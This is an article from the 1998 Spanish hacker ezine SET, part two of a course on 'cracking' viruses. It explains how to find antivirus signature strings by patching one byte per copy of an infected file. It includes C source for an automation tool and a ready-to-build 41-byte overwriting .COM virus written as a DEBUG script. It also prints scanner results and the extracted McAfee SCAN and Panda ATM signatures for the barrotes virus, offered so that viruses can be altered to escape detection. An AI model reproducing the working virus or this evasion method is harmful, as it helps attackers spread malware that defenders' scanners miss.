SET 39 Call For Papers

¿Eres un hacker? Si deseas pasar a formar parte de la historia del hacking hispano, colabora con la próxima edición de SET 39 enviándonos un artículo. No esperes más, esta es tu oportunidad de demostrar lo que sabes. Ayúdanos a construir una revista de hackers para hackers. SET Staff

SET 13

92852 visitas

Curso basico practico de crackeo de virus

      4746

Autor: +NetBul
-[ 0x06 ]--------------------------------------------------------------------
-[ CURSO BASICO-PRACTICO DE CRACKEO DE VIRUS II ]----------------------------
-[ by +NetBul ]-------------------------------------------------------SET-13-

               "HOW TO" PILLAR CADENAS DE BUSQUEDA DE ANTIVIRUS
                Curso Basico-Practico de CRACKEO de VIRUS (II)
                               @98 by +NetBuL



 
 ***  INTRODUCCION  ***
 ======================

 Primero quiero aclarar (como siempre, no?), que este articulo esta destinado 
 a usos didacticos (y va en serio).

  EL BUEN/MAL USO QUE LE DEIS ES RESPONSABILIDAD VUESTRA, QUEDA CLARO ...


 Por cierto, antes de que se me olvide, en la primera parte del curso hay 
 dos ERRATAS : 
      
   - donde comentaba eso de cambiar la fecha clave, decia que el virus
     "compara DH con 01 y DL con 05, o lo que es lo mismo, CX con 0105."
                                                           ^^
     Queda claro (y si no lo ves dale al RESET :-) que es: DX 

   - en un par de sitios al final del texto, dice que el barrotes
     resta 50 decimal (2C hex) a la cadena encriptada. Es evidente que

     50 decimal *NO* es 2C hex, sino 32 hex (gwevos, los enanos !!). :-)
     ^^^^^^^^^^                      ^^^^^^


 Well Manuel, aclarado el entuertorl empiezo el rollete.

 La historia esta de modificar virus puede tener 2 objetivos, a saber:
 
    1.- conseguir simplemente que el virus funcione de otra forma
    2.- conseguir que no sea detectado por un determinado antivirus
 
 Este ultimo es el que nos interesa ahora ...

 En la primera parte de este curso vimos como modificar un virus, consiguiendo 
 nuevos 'efectos 3D' y con un poco de suerte conseguiamos que algun antivirus
 que lo detectaba ya no lo hiciese. Esa 'suerte' dependia de si al hacer los
 cambios 'tocabamos' parte de la cadena de busqueda del antivirus XXX para
 ese virus en concreto.

 En esta 2da parte voy a explicar mi metodo (cutre pero efectivo) para pillar
 estas cadenas de busqueda de los antivirus, es decir, para saber que cadenas
 buscan los antivirus dentro de un archivo para detectar si tiene un virus.
 Por supuesto estas cadenas pueden ser diferentes para cada par 
 virus/antivirus.

 Ademas de la utilidad comentada hay otros casos en los que nos puede 
 interesar conocer las C.D.B., a saber:

  - si has hecho un virus y quieres saber *como* te lo detectan, para saber
  *que* tienes que modificar ...

  - si tienes curiosidad por saber como 'se lo monta' cada antivirus, hay
  cosas curiosas ... Estudiando que busca cada antivirus en un determinado
  virus puedes aprender cosas sobre esta gente, aunque eso es trabajo para
  el Rappel.

  - si no tienes nada mejor que hacer puedes pasar un rato entretenido  :-)




 ***  COMO SE HASE  ***
 ======================

 El sistema no es nada del otro mundo, supongo que habra otras formas, pero
 esta es la mas sencilla. Supongamos que tenemos un virus (un archivo
 infectado) con un tamanyo de 16 bytes. Vamos a copiar 16 archivos identicos 
 al virus original (es decir, 16 archivos infectados), pero en cada uno de 
 ellos vamos a sobreescribir un byte, por ejemplo con un 90h. El nombre que 
 pongamos a cada uno de estos archivos sera siguiendo una secuencia 
 hexadecimal :

 Ej:   VIRUS.COM de 16 bytes, lo copiamos en 16 archivos (0.COM ... F.COM)
       
   en  0.COM tachamos el byte en la posicion 0 con un 90h
       1.COM tachamos el byte en la posicion 1 con un 90h
       ...
       ...
       F.COM tachamos el byte en la posicion F con un 90h

       Resumiendo, tendremos tantas copias del virus como tamanyo tiene y
       seran copias identicas excepto un byte 'tachado' con un 90h que
       sera distinto en cada una de estas copias. Claro, clarito  :-)

 Bien, pues ahora solo falta pasar el antivirus de turno a nuestros
 16 churumbeles y ver *donde* detectan el virus ...
 
 Todos aquellos archivos que *NO* sean detectados por un antivirus nos 
 indicaran en que posicion se encuentra cada uno de los bytes que forman
 parte de la cadena de busqueda de ese antivirus para ese virus !
 

   Ejemplo :
      
      Supongamos que pasamos el antivirus SCAN a los 16 archivos de antes:
        
        Virus pepitilla detectado en archivos: 0, 1, 2, 3, C, D, E y F.COM
        
        ... nos indica que el SCAN detecta el virus con la cadena compuesta
        por los bytes 4h a Bh (para el SCAN el virus pepitilla se reduce
        a esta cadena de 8 bytes). Si modificamos *cualquiera* de los bytes 
        de esta cadena, el SCAN ya no lo detectara. Facil, no?

 
 NOTA IMPORTANTE : 
        
        Con este sistema vamos a crear N archivos con un tamanyo total de:
                                N^2

        lo cual quiere decir que para un virus de 300 bytes crearemos:
                300 archivos de 300 bytes = 90.000 bytes
        
        y para un virus de 1310 bytes como el amigo barrotes : 
                1310 archivos * 1310 bytes = 1.716.100 bytes

        o lo que es lo mismo para un virus de 7000 bytes:  ==  50 Mb !!

        Por eso es recomendable que el fichero infectado sea lo mas 
        pequenyo posible y si es necesario se puede crear un mini DUMMY.COM
        e infectarlo con el virus como ya explique en la 1a parte.

 


 ***  INGREDIENTES  ***
 ======================

 Lo de copiar tantos archivos como bytes tenga el virus y 'parchearlos'
 a mano es una tarea interminable si el virus tiene mas de 3 bytes, como
 es habitual X-), asi que he escrito un programa en p*to C para que no
 se os borren las huellas de los dedos ... 
 
 El programa se llama FREECAD por eso de que 'libera la cadena' (que 
 original, no?). No es nada del otro mundo pero FUNCIONA, osea, funcionan 
 tanto el programa como el metodo. 
 
 Ademas del aviso de antes, recomiendo que no lo useis con virus mayores
 de unos 2000 bytes, puede ser interminable. En mi PC "de epoca" tarda 2 
 minutos y medio en parchear un archivo de 1500 bytes !. Pero lo peor no
 es eso sino repasar luego cuales son los archivos en los que se detecta 
 el virus y en los que no ... paciencia.  :-)
 
 Al finalizar vuestros estudios espirituales y borrar todos los archivos
 que se crean os recomiendo que paseis el SCANDISK y el DEFRAG al HD porque 
 tantos archivos en un directorio os pueden arrasar el chiringuito  ;-)

 NOTA: los archivos de salida siguen una numeracion hexadecimal para 
 facilitar las cosas, el 1F.COM tendra el byte en la posicion 1Fh 
 sobreescrito, etc... Puede darse el caso de que alguno de los archivos 
 se llame igual que algun .BAT o .EXE que tengais en el PATH, y al querer 
 ejecutar un supuesto AB.COM lo que hagais sea ejecutar el virus!!. Si 
 ademas coincide con que el 'parche' en la posicion ABh no afecta para 
 nada al virus y siga funcionando bien ... pues eso, cuidadin cuidadin. :-)

 NOTA BIS: puede darse el caso de que dentro de la cadena de busqueda este
 incluido un '90' y por tanto no lo sabremos ya que el archivo en el que
 se cambie este byte quedara igual y *SI* que sera detectado el virus en el.
 Una posible mejora en el programa seria detectar si hay algun un byte 
 (hex) que no se encuentre en todo el codigo y asi el byte de sustitucion
 seria ese numero. En caso de que esten todos (del 00 al FF) el byte de
 sustitucion seria el '90' predeterminado.
 
 Ahi va el fuente en C del FREECAD ...
 

<++> cursocv/freecad.c
/******************************************************************/
/* FREECAD v0.5b        (c)1998 by +NetBuL para Saqueadores (SET) */
/******************************************************************/
/* Bien, ahi queda eso. Quizas sobra mucho rollete pero tenia que */
/* dejarlo bonito y presentable. Si alguien se anima y lo mejora  */
/* solo espero que conserve los CREDITOS y el NOMBRE (FREECAD) y  */
/* tambien que me envie el nuevo !!                               */
/* Compilado con Borland C++ 3.1                                  */

#include <stdio.h>
#include <stdlib.h>  /* itoa */
#include <string.h>

 FILE *origen;
 FILE *destino;

void info1(void)
{
  printf("\nFREECAD v0.5b\t\t   (c)1998 by +NetBuL para Saqueadores Edicion Tecnica");
  printf("\n------------ (SET): http://www.thepentagon.com/paseante (puntero) ------------\n");
  return;
}

void info2(void)
{
 printf("\n\t   Uso: FREECAD <archivo_infectado_virus> [ -com | -exe ]\n");
 printf("\n\tFREECAD lee el <archivo_infectado_virus> de tamanyo 'N' ");
 printf("\n\ty crea 'N' archivos identicos con nombres en hexadecimal ");
 printf("\n\tsin extension (o con extension [-com|-exe]), identicos ");
 printf("\n\t*excepto* en un byte que es sustituido por 90hex.");
 printf("\n\tEl nombre de cada archivo creado indicara en que posicion se");
 printf("\n\tha sustituido el byte, de forma que, p.ej. en el archivo:");
 printf("\n\n\t   \"A3F\" se habra cambiado el byte en la posicion A3Fh.");
 printf("\n\n\tPara detectar la cadena de busqueda del antivirus XXX para ");
 printf("\n\tel virus <archivo_infectado_virus>, solo hay que pasar el ");
 printf("\n\tantivirus XXX sobre los 'N' archivos creados:");
 printf("\n\n\t  --> Los archivos en los que *NO* se detecte el virus indicaran");
 printf("\n\t      la posicion de los bytes de la cadena de busqueda ...\n");
 printf("\n ATENCION al numero de archivos creados y al tamanyo total (N^2) !!");
 printf("\n   ... mas informacion en el n§ 13 de SET\n");
 return;
}

void main(int argc, char *argv[])
{
 int tp100=0,a=1;
 int fich_creados;
 int cont_bytes;
 int ext_com=0,ext_exe=0;
 int tamanyo=0;
 char *fuente;
 char byte_leido;
 char parche='\x90';
 char nombre[]={"12345678.abc"};

 system("cls");
 info1();

 /*** Filtramos la entrada ***/
 if(argc==1){
  info2();
  exit(-1);
 }
 if(!strcmp(argv[2],"-com")) ext_com=1;
 else if(!strcmp(argv[2],"-exe")) ext_exe=1;

 /*** Calculamos el tamanyo del fichero origen ***/
 if ((origen=fopen(argv[1],"rb"))==NULL){
  printf("\n\tERROR abriendo archivo origen : \"%s\"\n",argv[1]);
  exit(-1);
 }
 while(!feof(origen)){
  fread(&byte_leido, sizeof(char), 1, origen);
  if(!feof(origen)) tamanyo++;
 }
 /** creamos array fuente **/
 fuente = (char *) malloc(tamanyo * sizeof (char));

 /** rellenamos array fuente **/
 rewind(origen);
 tamanyo=0;
 while(!feof(origen)){
   fread(&byte_leido, sizeof(char), 1, origen);
   if(!feof(origen)) {
      fuente[tamanyo]=byte_leido;
      tamanyo++;
   }
 }
 fclose(origen);


 printf("\n\nArchivo origen : \"%s\"  (%d bytes) \n",argv[1],tamanyo);
 /*** BUCLE de copiado ***/
 for(fich_creados=0; fich_creados<tamanyo; fich_creados++,tp100++) {
    cont_bytes=0;
    itoa(fich_creados,nombre,16); /* 16==hex, 10== dec */
    if(ext_com) strcat(nombre,".COM");
    else if(ext_exe) strcat(nombre,".EXE");
    printf("\r... escribiendo %d archivos.",tamanyo);
    printf(" Actual: %d (%s)",fich_creados+1,nombre);
    /* Indicador de % muy a ojo ;-) */
    if(tp100==tamanyo/10 && tamanyo>100) {
         printf("        \b\b\b\b%d%",10*a++);
         tp100=0;
    }
    if ((destino=fopen(nombre,"wb"))==NULL) {
     printf("\n\n\tERROR creando archivo destino : \"%s\" (HD lleno?)",nombre);
     printf("\n\t ( total archivos creados: %d )\n",fich_creados);
     exit(-1);
    }
    while(cont_bytes<tamanyo){
      if(cont_bytes==fich_creados) fwrite(&parche, sizeof(char), 1, destino);
      else fwrite(&fuente[cont_bytes], sizeof(char), 1, destino);
      cont_bytes++;
    }
    fclose(destino);
 } /* fin bucle */
 printf("\r... escritos %d archivos, de \"0\" a \"%s\"\t\t\t\n",fich_creados,nombre);
} /*FIN MAIN*/
<-->



 ***  ESTUDIO CASO PRACTICO  ***
 ===============================

 Vamos a repasar todo lo dicho hasta ahora con un caso practico. Para esto
 incluyo un mini virus de solo 41 bytes. Logicamente es un virus .COM de
 sobreescritura. Cuando se ejecuta busca el primer .COM del directorio y
 sobreescribe los primeros 41 bytes con su propio codigo.

 El SCAN lo detecta como: TRIVIAL-41
 EL ATM lo detecta como: MINIMAL Family
 
 Creditos:   :-)
 Este virus lo he sacado del curso de virus de sobreescritura de RATBOY.
 Creo que lo pille en internet, quizas en el CHIBA  :-?

 Para crear el .COM lo cortas, lo grabas como OWRB.SCR y con el DEBUG :

        DEBUG < OWRB.SCR
        

<++> cursocv/owrb.scr
N OWRB.COM
E 0100 B4 4E B9 00 00 BA 23 01 CD 21 B8 02 3D BA 9E 00 
E 0110 CD 21 93 B4 40 B9 29 00 BA 00 01 CD 21 B4 3E CD 
E 0120 21 CD 20 2A 2E 63 6F 6D 00 
RCX
0029
W
Q
<-->

 
 Pasos a seguir:

  - creamos virus OWRB.COM con debug
  - compilamos FREECAD.C
  - ejecutamos el programa: FREECAD OWRB.COM -com
  - renombramos (si no has puesto la opcion -com) todos los archivos creados 
    con .COM : ren * *.COM       :-)
  - pasamos antivirus y guardamos resultados en un fichero .LOG
  - repasamos que ficheros son detectados como virus, los que no detecte
    formaran parte de la cadena de busqueda de este virus (y el nombre
    de estos archivos no detectados nos indicara la posicion del byte
    parcheado, juntando todos los bytes del virus original en esas posiciones
    tendremos, en teoria, la cadena).
   

 En el caso de este virus, estos son los resultados con el SCAN y el ATM:

*------------------ SCAN ------------------------*
Scan v3.0.0 Copyright (c) McAfee, Inc. 1994-1997.  All rights reserved.
Virus data file  V3000 created 02/13/97   8:38:31
Scanning C:\RATBOY\*.* 
   Found the TRIVIAL-41 virus en :

    OWRB.COM  20.COM  21.COM  22.COM  23.COM  24.COM  25.COM  26.COM  
      27.COM  28.COM  29.COM        

*---------------- ATM (panda) -------------------*
Area     : C:\RATBOY\????????.???
Ficheros Revisados       :      44
Virus Encontrados        :      33
Incidencias:

   MINIMAL Family    en:
    OWRB.COM   2.COM   3.COM   4.COM   5.COM   6.COM   7.COM   A.COM
       B.COM   C.COM  12.COM  13.COM  15.COM  16.COM  17.COM  18.COM
      19.COM  1A.COM  1B.COM  1C.COM  1D.COM  1E.COM  1F.COM  20.COM
      21.COM  22.COM  23.COM  24.COM  25.COM  26.COM  27.COM  28.COM
      29.COM

 
 Resumiendo, el antivirus Artemis no detecta el virus en los siguientes .COM:

        0, 1, 
        8, 9, 
        D, E, F,
        10,11,
        14,

 y el Scan no lo detecta en estos .COM:
 
        de 0.COM a 1F.COM


 Pues eso, si este es el virus original:

    B4 4E B9 00 00 BA 23 01 CD 21 B8 02 3D BA 9E 00 
    CD 21 93 B4 40 B9 29 00 BA 00 01 CD 21 B4 3E CD 
    21 CD 20 2A 2E 63 6F 6D 00 

 Para el ATM, el virus se reduce a esto: 
 
    B4 4E xx xx xx xx xx xx CD 21 xx xx xx BA 9E 00 
    CD 21 xx xx 40 xx xx xx xx xx xx xx xx xx xx xx 
    xx xx xx xx xx xx xx xx xx 

 Y para el Scan el virus se reduce a esto:

    B4 4E B9 00 00 BA 23 01 CD 21 B8 02 3D BA 9E 00 
    CD 21 93 B4 40 B9 29 00 BA 00 01 CD 21 B4 3E CD 
    xx xx xx xx xx xx xx xx xx 


 Cualquier cambio en el virus que 'toque' uno de los bytes que no estan
 a 'xx' hara que el nuevo virus ya no sea detectado !

 Como se puede ver cada antivirus busca cosas distintas, si conseguimos 
 cambiar un byte que este incluido en las cadenas de busqueda de los 2
 antivirus conseguiremos matar dos pajaros de un tiro. En nuestro ejemplo
 podriamos cambiar el byte que esta en la posicion 14h (40h) por otra cosa 
 con sentido ...

 po bueno, po fale, po malegro ...

 


 ***  VAMOS QUE NOS VAMOS !  ***
 ===============================

 Jopelines, ya estoy acabando.
 Si no te has enterao de na (dificil) o si esto te la suda, espero
 que algo de esto que 'kuen' ahora te entretenga un rato. Para los que
 se lo han leido todo de arribabajo, es una forma de darle mas vidilla
 al curso este.

 Como un ejemplo mas del metodo y sobretodo como garantia pa los quejicas
 e incredulos, incluyo las cadenas de busqueda del SCAN 3.0 y ATM 4.0 (DOS),
 obtenidas con el FREECAD, para el virus ....  tachan !! ... barrotes.1310.A

 No podia ser otro, que fijacion la del tio este con el @$%& barrotes. :-)
 Tampoco es para tanto digo yo, de alguna forma hay que seguir un poco el
 hilo del tema. En el texto anterior (en SET 12) lo primero que haciamos
 era cambiar la cadena de identificacion del virus, que en el caso del
 barrotes era "SO". Tambien en otra parte del texto decia que el ATM era
 una patata o algo por el estilo; pos fale que ya me explico ... resulta que
 en la cadena de busqueda del barrotes en el ATM esta incluida la xuxodicha 
 marca de identificacion (SO). Y como ya vimos la modificacion esta se puede 
 hacer con la "punta'l c*p*ll*", no hay que comerse mucho el tarro.

 
 Cadena del barrotes.1310 para el ATM :

        2E 81 3E 54 01 53 4F 75 03 E9 8E 01 E8 EC 01 73 03 E9 86
                       ^^ ^^
                       S  O
 
 Cadena del barrotes.1310 para el SCAN :

        80 7C 3B 01 75 02 1E 06 8C C0 2E 01 44 39
 
 
 Como curiosidad podemos crear un archivo con las dos cadenas y pasarle
 los 2 antivirus. Vereis que tanto el SCAN como el ATM detectan el virus
 barrotes.1310 en un archivo de 33 bytes!  :-D
 Mas curioso aun es intentar que desinfecten este archivo ... y es que 
 se vuelven LOCAS! :-)))


<++> cursocv/falso.scr
N BARROTES.COM
E 0100 2E 81 3E 54 01 53 4F 75 03 E9 8E 01 E8 EC 01 73 
E 0110 03 E9 86 80 7C 3B 01 75 02 1E 06 8C C0 2E 01 44 
E 0120 39 
RCX
0021
W
Q
<-->


 Como siempre: cortar, guardar como falso.scr, y debug < falso.scr

  NOTA: En el caso del barrotes las cadenas serian de 16 y 20 bytes 
        respectivamente, pero hay algun byte que podemos ignorar ya 
        que estan en otra parte del codigo y no donde esta el "pegote"
        que es lo que nos interesa. Asi las cadenas se reducen a 
        14 bytes en el SCAN y a 19 bytes en el ATM.
       
 Para acabar comentare una curiosidad/casualidad. Recordareis que en el 
 numero 6 de SET habia 2 articulos que hablaban del tema virii y en ambos
 habia un ejemplo de un virus comentado. En el articulo de Episiarca el
 codigo incluido era el del AMSTRAD y en el de Polimorph era el PIX (pixel).
 Pues bien, resulta que estos dos virus son EL MISMO virus !!. 
 Hablar del mismo virus sin saberlo en un mismo ezine es casi mas dificil
 que acertar la quiniela ...   :-)
 
 La historia de este virus es bastante curiosa, leyendo lo que explica
 Episiarca sobre el virus y leyendo tambien la base de datos de virus
 VSUM de Patricia M. Hoffman te enteras de algunas cosillas ...
 
 Segun el VSUM el virus PIXEL se distribuyo originalmente en Grecia en 
 la revista Pixel en el anyo 88, y una variacion del mismo, el Pixel-847B
 (AMSTRAD) se distribuyo en una revista espanyola en un fichero llamado
 "nocargar.com" (supongo que sera la AMSTRAD USER como dice Episiarca)...
 
 

 Pues nada, ahi queda el rollo. Saludos    z z z zzzzz Z Z Z ZZZZZZZZZZ 



                                                @1998 by +NetBuL
                                                ++++++++++++++++
                                                48617A746520
                                                646F6E616E746520
                                                646520
                                                6F7267616E6F7320
                                                2121
                                                ++++++++++++++++